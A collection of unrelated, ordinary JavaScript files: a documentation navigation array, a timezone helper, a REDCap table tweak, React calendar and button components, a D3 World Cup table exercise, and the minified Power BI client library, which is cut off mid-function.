var classsensesp_1_1_analog_voltage = [ [ "AnalogVoltage", "classsensesp_1_1_analog_voltage.html#a7efac48b3e91d1afe29f935b09d607a4", null ], [ "get_config_schema", "classsensesp_1_1_analog_voltage.html#adacc32fc9ee1c1fea837da53c797ff55", null ], [ "get_configuration", "classsensesp_1_1_analog_voltage.html#ae3c5c69b391d2e28c24c54317dffcd88", null ], [ "set_configuration", "classsensesp_1_1_analog_voltage.html#a347c60ae03a578621fa830f0b3fbda30", null ], [ "set_input", "classsensesp_1_1_analog_voltage.html#aabe378c2221984be3d50b264fb700c76", null ] ];
/** * returns the client timezone in ISO8601 format +-HH:MM or Z */ var client_timezone = function() { var timezone_offset_min = new Date().getTimezoneOffset(), offset_hrs = parseInt(Math.abs(timezone_offset_min/60)), offset_min = Math.abs(timezone_offset_min%60), timezone_standard; if(offset_hrs < 10) offset_hrs = '0' + offset_hrs; if(offset_min < 10) offset_min = '0' + offset_min; // Add an opposite sign to the offset // If offset is 0, it means timezone is UTC if(timezone_offset_min < 0) timezone_standard = '+' + offset_hrs + ':' + offset_min; else if(timezone_offset_min > 0) timezone_standard = '-' + offset_hrs + ':' + offset_min; else if(timezone_offset_min == 0) timezone_standard = 'Z'; // Timezone difference in hours and minutes // String such as +05:30 or -06:00 or Z //console.log(timezone_standard); return timezone_standard; };
// @ts-check if (typeof $ != 'undefined') $(function() { // Construct base link to project settings. var baselink = window['app_path_webroot'] + 'ControlCenter/edit_project.php?project=' // Header. var THr = $('div.hDiv div table tbody tr th')[1] var THp = $('<th align="center"><div style="text-align:center;width:52px;">PID</div></th>') $(THr).before(THp) // Rows. $('[class^="pid-cntr-"]').each(function() { var pid = this.className.split('-').reverse()[0] var link = window['super_user'] ? ' href="' + baselink + pid + '"' : '' var tag = window['super_user'] ? 'a' : 'span' var TDr = $(this).closest('td') var TDp = $('<td align="center"><div class="fc" style="width:52px; padding-left:10px;"><' + tag + link + '><span class="pid-cnt-h">' + pid + '</span>' + pid + '</' + tag +'></div></td>') $(TDp).attr('style', TDr.attr('style')) TDr.before(TDp) }) // Fix column number in header rows. var cols = $('div.hDiv div table tbody tr th').length $('td.fldrrwparent').attr('colspan', cols) })
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } import React, { PureComponent } from 'react'; import PropTypes from 'prop-types'; import cn from 'classnames'; import themeColors from '../utils/themeColors'; import isMonthBefore from '../utils/dates/isMonthBefore'; import toDayOfWeek from '../utils/dates/toDayOfWeek'; import addDate from '../utils/dates/addDate'; import Button from '../Buttons/Button'; /** * This component renders the controls for a `DatePicker`'s Calendar. * This will render a next and previous month button along with the * current month/year. It also renders the abbreviiations for the days * of the week. */ var CalendarHeader = function (_PureComponent) { _inherits(CalendarHeader, _PureComponent); function CalendarHeader(props) { _classCallCheck(this, CalendarHeader); var _this = _possibleConstructorReturn(this, _PureComponent.call(this, props)); _this.state = _this._createState(props); return _this; } CalendarHeader.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) { var _props = this.props, DateTimeFormat = _props.DateTimeFormat, locales = _props.locales, date = _props.date; if (DateTimeFormat !== nextProps.DateTimeFormat || locales !== nextProps.locales || date !== nextProps.date) { this.setState(this._createState(nextProps)); } }; CalendarHeader.prototype._createState = function _createState() { var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props, DateTimeFormat = _ref.DateTimeFormat, locales = _ref.locales, date = _ref.date, firstDayOfWeek = _ref.firstDayOfWeek, titleFormat = _ref.titleFormat, weekdayClassName = _ref.weekdayClassName, weekdayFormat = _ref.weekdayFormat; var firstDay = toDayOfWeek(date, firstDayOfWeek); var formatter = new DateTimeFormat(locales, { weekday: weekdayFormat }); var dows = []; for (var i = 0; i < 7; i++) { var dow = formatter.format(addDate(firstDay, i, 'D')); dows.push(React.createElement( 'h4', { key: i, className: cn('md-calendar-date md-calendar-dow', themeColors({ disabled: true }), weekdayClassName) }, dow )); } return { dows: dows, title: new DateTimeFormat(locales, titleFormat).format(date) }; }; CalendarHeader.prototype.render = function render() { var _state = this.state, dows = _state.dows, title = _state.title; var _props2 = this.props, date = _props2.date, minDate = _props2.minDate, maxDate = _props2.maxDate, onPreviousClick = _props2.onPreviousClick, previousIcon = _props2.previousIcon, onNextClick = _props2.onNextClick, nextIcon = _props2.nextIcon, titleClassName = _props2.titleClassName; var isPreviousDisabled = isMonthBefore(minDate, date); var isNextDisabled = isMonthBefore(date, maxDate); return React.createElement( 'header', { className: 'md-calendar-header' }, React.createElement( 'div', { className: 'md-calendar-controls' }, React.createElement(Button, { icon: true, onClick: onPreviousClick, disabled: isPreviousDisabled, className: 'md-calendar-control', iconEl: previousIcon }), React.createElement( 'h4', { className: cn('md-title', titleClassName) }, title ), React.createElement(Button, { icon: true, onClick: onNextClick, disabled: isNextDisabled, className: 'md-calendar-control', iconEl: nextIcon }) ), React.createElement( 'div', { className: 'md-calendar-dows' }, dows ) ); }; return CalendarHeader; }(PureComponent); CalendarHeader.propTypes = { className: PropTypes.string, children: PropTypes.node, date: PropTypes.instanceOf(Date).isRequired, minDate: PropTypes.instanceOf(Date), maxDate: PropTypes.instanceOf(Date), previousIcon: PropTypes.element, onPreviousClick: PropTypes.func.isRequired, nextIcon: PropTypes.node, onNextClick: PropTypes.func.isRequired, DateTimeFormat: PropTypes.func.isRequired, locales: PropTypes.oneOfType([PropTypes.string, PropTypes.arrayOf(PropTypes.string)]).isRequired, /** * The first day of week: 0 for Sunday, 1 for Monday, 2 for Tuesday, and so on. */ firstDayOfWeek: PropTypes.oneOf([0, 1, 2, 3, 4, 5, 6]), /** * An optional className to apply to the title. */ titleClassName: PropTypes.string, /** * The DateTimeFormat options to apply to format the title. */ titleFormat: PropTypes.shape({ era: PropTypes.oneOf(['narrow', 'short', 'long']), year: PropTypes.oneOf(['numeric', '2-digit']), month: PropTypes.oneOf(['numeric', '2-digit', 'narrow', 'short', 'long']) }), /** * An optional className to apply to a weekday. */ weekdayClassName: PropTypes.string, /** * The DateTimeFormat option to apply to format a weekday. */ weekdayFormat: PropTypes.oneOf(['narrow', 'short', 'long']) }; CalendarHeader.defaultProps = { firstDayOfWeek: 0, titleFormat: { month: 'long', year: 'numeric' }, weekdayFormat: 'narrow' }; export default CalendarHeader;
import { withStyles, Button } from "@material-ui/core"; import PropTypes from "prop-types"; import Router from "translations/i18nRouter"; const styles = theme => ({ main: { color: theme.palette.reaction.black80, borderRadius: 10, border: theme.palette.borders.default, borderColor: theme.palette.reaction.black70, fontSize: 16, backgroundColor: 'transparent', '&:hover': { backgroundColor: 'transparent', }, '&:active': { backgroundColor: 'transparent', }, textTransform: 'capitalize', } }) const onClickContine = () => { Router.push("/"); } const ContinueShoppingButton = (props) => { const { children, classes } = props; return ( <Button disableElevation disableFocusRipple disableRipple fullWidth variant="contained" className={classes.main} onClick={onClickContine}> {children} </Button> ) } ContinueShoppingButton.propTypes = { classes: PropTypes.object } export default withStyles(styles)(ContinueShoppingButton);
/** Class implementing the table. */ class Table { /** * Creates a Table Object */ constructor(teamData, treeObject) { //Maintain reference to the tree Object; this.tree = treeObject; this.tableElements = teamData.slice(); // ///** Store all match data for the 2014 Fifa cup */ this.teamData = teamData; //Default values for the Table Headers this.tableHeaders = ["Delta Goals", "Result", "Wins", "Losses", "TotalGames"]; /** To be used when sizing the svgs in the table cells.*/ this.cell = { "width": 70, "height": 20, "buffer": 15 }; this.bar = { "height": 20 }; /** Set variables for commonly accessed data columns*/ this.goalsMadeHeader = 'Goals Made'; this.goalsConcededHeader = 'Goals Conceded'; /** Setup the scales*/ let maxGoal = Math.max.apply(Math, this.teamData.map(o => Math.max(o.value['Goals Made'], o.value['Goals Conceded']))); this.goalScale = d3.scaleLinear() .domain([0, maxGoal]) .range([0, 2 * this.cell.width]); /** Used for games/wins/losses*/ // It's obvious, that MAX value is 7, but let's calculate it ^_^ let maxGames = Math.max.apply(Math, this.teamData.map(o => o.value['TotalGames'])); this.gameScale = d3.scaleLinear() .domain([0, maxGames]) .range([0, this.cell.width]); /**Color scales*/ /**For aggregate columns Use colors '#ece2f0', '#016450' for the range.*/ this.aggregateColorScale = d3.scaleLinear() .domain([0, maxGames]) .range(['#ece2f0', '#016450']); /**For goal Column. Use colors '#cb181d', '#034e7b' for the range.*/ this.goalColorScale = d3.scaleLinear() .domain([0, maxGoal]) .range(['#cb181d', '#034e7b']); } /** * Creates a table skeleton including headers that when clicked allow you to sort the table by the chosen attribute. * Also calculates aggregate values of goals, wins, losses and total games as a function of country. * */ createTable() { let sortAscending = true; // ******* TODO: PART II ******* d3.select('#goalHeader').append('svg') .style('padding', '0 0px 0 15px') .attr('height', this.cell.height + 5) .attr('width', 2 * this.cell.width + 20) .append('g') .attr('transform', 'translate(' + 0 + ',' + 20 + ')') .call(d3.axisTop(this.goalScale)); // ******* TODO: PART V ******* d3.selectAll('th') .on('click', (_, i) => { d3.select('tr').selectAll('th').classed('aes', false); d3.select('tr').selectAll('th').classed('des', false); this.collapseList(); // KOSTYL' here... I hate js for vars scopes... In common function I cannot use 'this', ok - thx => // but I did not find any fitted examples, how to give additional argument to built-in sort function, // that's why it looks like a piece of shit, but works good)) if (sortAscending) { sortAscending = false; switch (i) { case 0: this.tableElements.sort((a, b) => d3.ascending(a.key, b.key)); break; case 1: this.tableElements.sort((a, b) => d3.ascending(a.value['Goals Made'], b.value['Goals Made'])); break; case 2: this.tableElements.sort((a, b) => d3.ascending(a.value.Result.ranking, b.value.Result.ranking)); break; case 3: this.tableElements.sort((a, b) => d3.ascending(a.value.Wins, b.value.Wins)); break; case 4: this.tableElements.sort((a, b) => d3.ascending(a.value.Losses, b.value.Losses)); break; case 5: this.tableElements.sort((a, b) => d3.ascending(a.value.TotalGames, b.value.TotalGames)); break; } d3.select('tr').selectAll('th').filter(function (d, it) { return it === i; }).classed('aes', true); d3.select('tr').selectAll('th').filter(function (d, it) { return it === i; }).classed('des', false); } else { sortAscending = true; switch (i) { case 0: this.tableElements.sort((a, b) => d3.descending(a.key, b.key)); break; case 1: this.tableElements.sort((a, b) => d3.descending(a.value['Goals Made'], b.value['Goals Made'])); break; case 2: this.tableElements.sort((a, b) => d3.descending(a.value.Result.ranking, b.value.Result.ranking)); break; case 3: this.tableElements.sort((a, b) => d3.descending(a.value.Wins, b.value.Wins)); break; case 4: this.tableElements.sort((a, b) => d3.descending(a.value.Losses, b.value.Losses)); break; case 5: this.tableElements.sort((a, b) => d3.descending(a.value.TotalGames, b.value.TotalGames)); break; } d3.select('tr').selectAll('th').filter(function (d, it) { return it === i; }).classed('aes', false); d3.select('tr').selectAll('th').filter(function (d, it) { return it === i; }).classed('des', true); } this.updateTable(); }) } updateTable() { // ******* TODO: PART III ******* //Create table rows let rows = d3.select('tbody') .selectAll('tr') .data(this.tableElements); rows.exit() .remove(); rows = rows.enter() .append('tr') .merge(rows); rows .on('click', (d, i) => { if (d.value.type === 'aggregate') { this.updateList(d, i); } }) .on('mouseover', (d, i) => { this.tree.clearTree(); this.tree.updateTree(d); }) .on('mouseout', _ => this.tree.clearTree()); // KOSTYL' here %) rows.selectAll('td').remove(); let tds = rows.selectAll('td') .data(function (d) { // console.log(d); return [ {'type': d.value.type, 'vis': 'title', 'value': d.key}, {'type': d.value.type, 'vis': 'goals', 'value': [d.value['Goals Made'], d.value['Goals Conceded']]}, {'type': d.value.type, 'vis': 'text', 'value': d.value.Result.label}, {'type': d.value.type, 'vis': 'bar', 'value': d.value.Wins}, {'type': d.value.type, 'vis': 'bar', 'value': d.value.Losses}, {'type': d.value.type, 'vis': 'bar', 'value': d.value.TotalGames}, ] }); tds.exit().remove(); tds = tds.enter() .append('td') .merge(tds); // TITLE TDs -------------- tds.filter(function (d) { return d.type === 'game' }) .attr('class', 'hide'); tds.filter(function (d) { return d.vis === 'title' && d.type === 'aggregate' }) .attr('class', 'aggregate') .text(d => d.value); tds.filter(function (d) { return d.vis === 'title' && d.type === 'game' }) .attr('class', 'game_type hide') .text(d => 'x' + d.value); // RESULT TDs -------------- tds.filter(function (d) { return d.vis === 'text' && d.type === 'aggregate' }) .text(d => d.value); tds.filter(function (d) { return d.vis === 'text' && d.type === 'game' }) .attr('class', 'hide') .append('span') .style('opacity', 0.66) .text(d => d.value); // BARS TDs -------------- // Work with bars for game stats let bar_items = tds.filter(function (d) { return d.type === 'aggregate' && d.vis === 'bar' && d.value > 0 }) .append('svg') .attr('width', this.cell.width) .attr('height', this.cell.height) .append('g'); bar_items .append('rect') .attr('height', this.cell.height) .attr('width', d => this.gameScale(d.value)) .style('fill', d => this.aggregateColorScale(d.value)); bar_items .append('text') .text(d => d.value) .attr('y', this.cell.height / 2) .attr('dy', '0.33em') .attr('x', d => this.gameScale(d.value - 0.9)) // .attr('dx', '-0.05em') .attr('class', 'label'); // GOALS TDs -------------- // Work with AGGREGATED goals vis let goals_items = tds.filter(function (d) { return d.type === 'aggregate' && d.vis === 'goals' }) .append('svg') .style('padding', '0 5px 0 15px') .attr('width', 2 * this.cell.width + 10) .attr('height', this.cell.height) .append('g'); goals_items.append('rect') .attr('width', d => this.goalScale(Math.abs(d.value[0] - d.value[1]))) .attr('x', d => this.goalScale(Math.min(d.value[0], d.value[1]))) .attr('height', 12) .attr('y', this.cell.height / 2 - 6) .attr('dy', '0.33em') .style('fill', d => d.value[0] < d.value[1] ? '#cb181d' : '#034e7b') .attr('class', 'goalBar'); // Blue one goals_items.append('circle') .attr('cx', d => this.goalScale(d.value[0])) .attr('cy', this.cell.height / 2) .style('fill', '#034e7b') .attr('class', 'goalCircle'); // Red one goals_items.append('circle') .attr('cx', d => this.goalScale(d.value[1])) .attr('cy', this.cell.height / 2) .style('fill', d => d.value[0] - d.value[1] === 0 ? '#555555' : '#cb181d') .attr('class', 'goalCircle'); // Work with GAMED goals vis let goals_items2 = tds.filter(function (d) { return d.type === 'game' && d.vis === 'goals' }) .append('svg') .style('padding', '0 5px 0 15px') .attr('width', 2 * this.cell.width + 5) .attr('height', this.cell.height) .append('g'); goals_items2.append('rect') .attr('width', d => this.goalScale(Math.abs(d.value[0] - d.value[1]))) .attr('x', d => this.goalScale(Math.min(d.value[0], d.value[1]))) .attr('height', 3) .attr('y', (this.cell.height - 3) / 2) .attr('dy', '0.33em') .style('fill', d => d.value[0] < d.value[1] ? '#cb181d' : '#034e7b') .attr('class', 'goalBar'); // Blue one goals_items2.append('circle') .attr('cx', d => this.goalScale(d.value[0])) .attr('cy', this.cell.height / 2) .style('fill', 'white') .style('stroke', '#034e7b') .attr('class', 'goalCircle2'); // Red one goals_items2.append('circle') .attr('cx', d => this.goalScale(d.value[1])) .attr('cy', this.cell.height / 2) .style('fill', 'white') .style('stroke', d => d.value[0] - d.value[1] === 0 ? '#555555' : '#cb181d') .attr('class', 'goalCircle2'); }; updateList(data, i) { // ******* TODO: PART IV ******* let patch = this.tableElements[i].value.games; if (this.tableElements.length === i + 1 || this.tableElements[i + 1].value.type === 'aggregate') { this.tableElements.splice(1 + i, 0, ...patch); } else { this.tableElements.splice(1 + i, patch.length) } //Only update list for aggregate clicks, not game clicks this.updateTable(); } collapseList() { // ******* TODO: PART IV ******* this.tableElements = this.tableElements.filter(d => d.value.type === 'aggregate') } }
/*! powerbi-client v2.10.3 | (c) 2016 Microsoft Corporation MIT */ !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports["powerbi-client"]=e():t["powerbi-client"]=e()}(this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={exports:{},id:a,loaded:!1};return t[a].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e,r){var a=r(1);e.service=a;var i=r(17);e.factories=i;var o=r(5);e.models=o;var n=r(6);e.Report=n.Report;var l=r(13);e.Dashboard=l.Dashboard;var s=r(14);e.Tile=s.Tile;var d=r(2);e.Embed=d.Embed;var u=r(8);e.Page=u.Page;var p=r(15);e.Qna=p.Qna;var c=r(16);e.Visual=c.Visual;var f=r(9);e.VisualDescriptor=f.VisualDescriptor;var h=new a.Service(i.hpmFactory,i.wpmpFactory,i.routerFactory);window.powerbi=h},function(t,e,r){var a=r(2),i=r(6),o=r(12),n=r(13),l=r(14),s=r(8),d=r(15),u=r(16),p=r(3),c=function(){function t(e,r,a,i){var o=this;void 0===i&&(i={}),this.wpmp=r(i.wpmpName,i.logMessages),this.hpm=e(this.wpmp,null,i.version,i.type),this.router=a(this.wpmp),this.uniqueSessionId=p.generateUUID(),this.router.post("/reports/:uniqueId/events/:eventName",function(t,e){var r={type:"report",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/reports/:uniqueId/pages/:pageName/events/:eventName",function(t,e){var r={type:"report",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/reports/:uniqueId/pages/:pageName/visuals/:visualName/events/:eventName",function(t,e){var r={type:"report",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/dashboards/:uniqueId/events/:eventName",function(t,e){var r={type:"dashboard",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/tile/:uniqueId/events/:eventName",function(t,e){var r={type:"tile",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/qna/:uniqueId/events/:eventName",function(t,e){var r={type:"qna",id:t.params.uniqueId,name:t.params.eventName,value:t.body};o.handleEvent(r)}),this.router.post("/ready/:uniqueId",function(t,e){var r={type:"report",id:t.params.uniqueId,name:"ready",value:t.body};o.handleEvent(r)}),this.embeds=[],this.config=p.assign({},t.defaultConfig,i),this.config.autoEmbedOnContentLoaded&&this.enableAutoEmbed()}return t.prototype.createReport=function(t,e){e.type="create";var r=t,a=new o.Create(this,r,e);return r.powerBiEmbed=a,this.addOrOverwriteEmbed(a,t),a},t.prototype.init=function(t,e){var r=this;void 0===e&&(e=void 0),t=t&&t instanceof HTMLElement?t:document.body;var i=Array.prototype.slice.call(t.querySelectorAll("["+a.Embed.embedUrlAttribute+"]"));return i.map(function(t){return r.embed(t,e)})},t.prototype.embed=function(t,e){return void 0===e&&(e={}),this.embedInternal(t,e)},t.prototype.load=function(t,e){return void 0===e&&(e={}),this.embedInternal(t,e,!0,!1)},t.prototype.bootstrap=function(t,e){return this.embedInternal(t,e,!1,!0)},t.prototype.embedInternal=function(t,e,r,a){void 0===e&&(e={});var i,o=t;if(o.powerBiEmbed){if(a)throw new Error("Attempted to bootstrap element "+t.outerHTML+", but the element is already a powerbi element.");i=this.embedExisting(o,e,r)}else i=this.embedNew(o,e,r,a);return i},t.prototype.getNumberOfComponents=function(){return this.embeds?this.embeds.length:0},t.prototype.getSdkSessionId=function(){return this.uniqueSessionId},t.prototype.embedNew=function(e,r,o,n){var l=r.type||e.getAttribute(a.Embed.typeAttribute);if(!l)throw new Error("Attempted to embed using config "+JSON.stringify(r)+" on element "+e.outerHTML+", but could not determine what type of component to embed. You must specify a type in the configuration or as an attribute such as '"+a.Embed.typeAttribute+'="'+i.Report.type.toLowerCase()+"\"'.");r.type=l;var s=p.find(function(t){return l===t.type.toLowerCase()},t.components);if(!s)throw new Error("Attempted to embed component of type: "+l+" but did not find any matching component. Please verify the type you specified is intended.");var d=new s(this,e,r,o,n);return e.powerBiEmbed=d,this.addOrOverwriteEmbed(d,e),d},t.prototype.embedExisting=function(t,e,r){var a=p.find(function(e){return e.element===t},this.embeds);if(!a)throw new Error("Attempted to embed using config "+JSON.stringify(e)+" on element "+t.outerHTML+" which already has embedded comopnent associated, but could not find the existing comopnent in the list of active components. This could indicate the embeds list is out of sync with the DOM, or the component is referencing the incorrect HTML element.");if(e.type&&"qna"===e.type.toLowerCase())return this.embedNew(t,e);if("string"==typeof e.type&&e.type!==a.config.type){if("report"===e.type&&"create"===a.config.type){var o=new i.Report(this,t,e,(!1),(!1),t.powerBiEmbed.iframe);return o.load(e),t.powerBiEmbed=o,this.addOrOverwriteEmbed(a,t),o}throw new Error("Embedding on an existing element with a different type than the previous embed object is not supported. Attempted to embed using config "+JSON.stringify(e)+" on element "+t.outerHTML+", but the existing element contains an embed of type: "+this.config.type+" which does not match the new type: "+e.type)}return a.populateConfig(e,!1),a.load(a.config,r),a},t.prototype.enableAutoEmbed=function(){var t=this;window.addEventListener("DOMContentLoaded",function(e){return t.init(document.body)},!1)},t.prototype.get=function(t){var e=t;if(!e.powerBiEmbed)throw new Error("You attempted to get an instance of powerbi component associated with element: "+t.outerHTML+" but there was no associated instance.");return e.powerBiEmbed},t.prototype.find=function(t){return p.find(function(e){return e.config.uniqueId===t},this.embeds)},t.prototype.addOrOverwriteEmbed=function(t,e){this.embeds=this.embeds.filter(function(t){return t.element.id!==e.id}),this.embeds.push(t)},t.prototype.reset=function(t){var e=t;if(e.powerBiEmbed){var r=e.powerBiEmbed;r.frontLoadHandler&&r.element.removeEventListener("ready",r.frontLoadHandler,!1),p.remove(function(t){return t===e.powerBiEmbed},this.embeds),delete e.powerBiEmbed;var a=t.querySelector("iframe");a&&(void 0!==a.remove?a.remove():a.parentElement.removeChild(a))}},t.prototype.handleTileEvents=function(t){"tile"===t.type&&this.handleEvent(t)},t.prototype.handleEvent=function(t){var e=p.find(function(e){return e.config.uniqueId===t.id},this.embeds);if(e){var r=t.value;if("pageChanged"===t.name){var a="newPage",i=r[a];if(!i)throw new Error("Page model not found at 'event.value."+a+"'.");r[a]=new s.Page(e,i.name,i.displayName,(!0))}p.raiseCustomEvent(e.element,t.name,r)}},t.prototype.preload=function(t,e){var r=document.createElement("iframe");r.setAttribute("style","display:none;"),r.setAttribute("src",t.embedUrl),r.setAttribute("scrolling","no"),r.setAttribute("allowfullscreen","false");var a=e;return a||(a=document.getElementsByTagName("body")[0]),a.appendChild(r),r.onload=function(){p.raiseCustomEvent(r,"preloaded",{})},r},t.components=[l.Tile,i.Report,n.Dashboard,d.Qna,u.Visual],t.defaultConfig={autoEmbedOnContentLoaded:!1,onError:function(){for(var t=[],e=0;e<arguments.length;e++)t[e-0]=arguments[e];return console.log(t[0],t.slice(1))}},t}();e.Service=c},function(t,e,r){var a=r(3),i=r(4),o=r(5),n=function(){function t(e,r,a,i,o,n){this.allowedEvents=[],Array.prototype.push.apply(this.allowedEvents,t.allowedEvents),this.eventHandlers=[],this.service=e,this.element=r,this.iframe=i,this.embeType=a.type.toLowerCase(),this.populateConfig(a,n),"create"===this.embeType?this.setIframe(!1,o,n):this.setIframe(!0,o,n)}return t.prototype.createReport=function(t){var e=o.validateCreateReport(t);if(e)throw e;return this.service.hpm.post("/report/create",t,{uid:this.config.uniqueId,sdkSessionId:this.service.getSdkSessionId()},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.save=function(){return this.service.hpm.post("/report/save",null,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},t.prototype.saveAs=function(t){return this.service.hpm.post("/report/saveAs",t,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},t.prototype.load=function(t,e){var r=this;if(t.accessToken){var o=e&&"report"===t.type?this.phasedLoadPath:this.loadPath,n={uid:this.config.uniqueId,sdkSessionId:this.service.getSdkSessionId(),bootstrapped:this.config.bootstrapped,sdkVersion:i["default"].version};return this.service.hpm.post(o,t,n,this.iframe.contentWindow).then(function(e){return a.assign(r.config,t),e.body},function(t){throw t.body})}},t.prototype.off=function(t,e){var r=this,i={name:t,type:null,id:null,value:null};if(e)a.remove(function(t){return t.test(i)&&t.handle===e},this.eventHandlers),this.element.removeEventListener(t,e);else{var o=this.eventHandlers.filter(function(t){return t.test(i)});o.forEach(function(e){a.remove(function(t){return t===e},r.eventHandlers),r.element.removeEventListener(t,e.handle)})}},t.prototype.on=function(t,e){if(this.allowedEvents.indexOf(t)===-1)throw new Error("eventName is must be one of "+this.allowedEvents+". You passed: "+t);this.eventHandlers.push({test:function(e){return e.name===t},handle:e}),this.element.addEventListener(t,e)},t.prototype.reload=function(){return this.load(this.config)},t.prototype.setAccessToken=function(e){var r=this,a=this.config.type;return a="create"===a||"visual"===a||"qna"===a?"report":a,this.service.hpm.post("/"+a+"/token",e,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(a){return r.config.accessToken=e,r.element.setAttribute(t.accessTokenAttribute,e),r.service.accessToken=e,a.body})["catch"](function(t){throw t.body})},t.prototype.getAccessToken=function(e){var r=this.config.accessToken||this.element.getAttribute(t.accessTokenAttribute)||e;if(!r)throw new Error("No access token was found for element. You must specify an access token directly on the element using attribute '"+t.accessTokenAttribute+"' or specify a global token at: powerbi.accessToken.");return r},t.prototype.populateConfig=function(t,e){this.bootstrapConfig?(this.config=a.assign({},this.bootstrapConfig,t),this.bootstrapConfig=null):this.config=a.assign({},t),this.config.embedUrl=this.getEmbedUrl(e),this.config.groupId=this.getGroupId(),this.addLocaleToEmbedUrl(t),this.config.uniqueId=this.getUniqueId(),e?(this.bootstrapConfig=this.config,this.bootstrapConfig.bootstrapped=!0):this.config.accessToken=this.getAccessToken(this.service.accessToken),this.configChanged(e)},t.prototype.addLocaleToEmbedUrl=function(t){if(t.settings){var e=t.settings.localeSettings;e&&e.language&&(this.config.embedUrl=a.addParamToUrl(this.config.embedUrl,"language",e.language)),e&&e.formatLocale&&(this.config.embedUrl=a.addParamToUrl(this.config.embedUrl,"formatLocale",e.formatLocale))}},t.prototype.getEmbedUrl=function(e){var r=this.config.embedUrl||this.element.getAttribute(t.embedUrlAttribute);if(e&&!r&&(r=this.getDefaultEmbedUrl(this.config.hostname)),"string"!=typeof r||0===r.length)throw new Error("Embed Url is required, but it was not found. You must provide an embed url either as part of embed configuration or as attribute '"+t.embedUrlAttribute+"'.");return r},t.prototype.getDefaultEmbedUrl=function(e){e||(e=t.defaultEmbedHostName);var r=this.getDefaultEmbedUrlEndpoint();if(e=e.toLowerCase().trim(),0===e.indexOf("http://"))throw new Error("HTTP is not allowed. HTTPS is required");return 0===e.indexOf("https://")?e+"/"+r:"https://"+e+"/"+r},t.prototype.getUniqueId=function(){return this.config.uniqueId||this.element.getAttribute(t.nameAttribute)||a.createRandomString()},t.prototype.getGroupId=function(){return this.config.groupId||t.findGroupIdFromEmbedUrl(this.config.embedUrl)},t.prototype.fullscreen=function(){var t=this.iframe.requestFullscreen||this.iframe.msRequestFullscreen||this.iframe.mozRequestFullScreen||this.iframe.webkitRequestFullscreen;t.call(this.iframe)},t.prototype.exitFullscreen=function(){if(this.isFullscreen(this.iframe)){var t=document.exitFullscreen||document.mozCancelFullScreen||document.webkitExitFullscreen||document.msExitFullscreen;t.call(document)}},t.prototype.isFullscreen=function(t){var e=["fullscreenElement","webkitFullscreenElement","mozFullscreenScreenElement","msFullscreenElement"];return e.some(function(e){return document[e]===t})},t.prototype.setIframe=function(e,r,i){var o=this;if(!this.iframe){var n=document.createElement("iframe"),l=this.config.uniqueId?a.addParamToUrl(this.config.embedUrl,"uid",this.config.uniqueId):this.config.embedUrl;n.style.width="100%",n.style.height="100%",n.setAttribute("src",l),n.setAttribute("scrolling","no"),n.setAttribute("allowfullscreen","true");for(var s=this.element;s.firstChild;)s.removeChild(s.firstChild);s.appendChild(n),this.iframe=s.firstChild}if(e){if(!i){var d=this.validate(this.config);if(d)throw d}this.iframe.addEventListener("load",function(){return o.load(o.config,r)},!1),this.service.getNumberOfComponents()<=t.maxFrontLoadTimes&&(this.frontLoadHandler=function(){return o.frontLoadSendConfig(o.config)},this.element.addEventListener("ready",this.frontLoadHandler,!1))}else this.iframe.addEventListener("load",function(){return o.createReport(o.createConfig)},!1)},t.prototype.setComponentTitle=function(t){this.iframe&&(null==t?this.iframe.removeAttribute("title"):this.iframe.setAttribute("title",t))},t.prototype.setComponentTabIndex=function(t){this.element&&this.element.setAttribute("tabindex",null==t?"0":t.toString())},t.prototype.removeComponentTabIndex=function(t){this.element&&this.element.removeAttribute("tabindex")},t.findGroupIdFromEmbedUrl=function(t){var e,r=/groupId="?([^&]+)"?/,a=t.match(r);return a&&(e=a[1]),e},t.prototype.frontLoadSendConfig=function(t){if(t.accessToken){var e=this.validate(t);if(e)throw e;if(null!=this.iframe.contentWindow)return this.service.hpm.post("/frontload/config",t,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})}},t.allowedEvents=["loaded","saved","rendered","saveAsTriggered","error","dataSelected","buttonClicked"],t.accessTokenAttribute="powerbi-access-token",t.embedUrlAttribute="powerbi-embed-url",t.nameAttribute="powerbi-name",t.typeAttribute="powerbi-type",t.defaultEmbedHostName="https://app.powerbi.com",t.maxFrontLoadTimes=2,t}();e.Embed=n},function(t,e){function r(t,e,r){var a;"function"==typeof CustomEvent?a=new CustomEvent(e,{detail:r,bubbles:!0,cancelable:!0}):(a=document.createEvent("CustomEvent"),a.initCustomEvent(e,!0,!0,r)),t.dispatchEvent(a)}function a(t,e){if(!Array.isArray(e))throw new Error("You attempted to call find with second parameter that was not an array. You passed: "+e);var r;return e.some(function(e,a){if(t(e))return 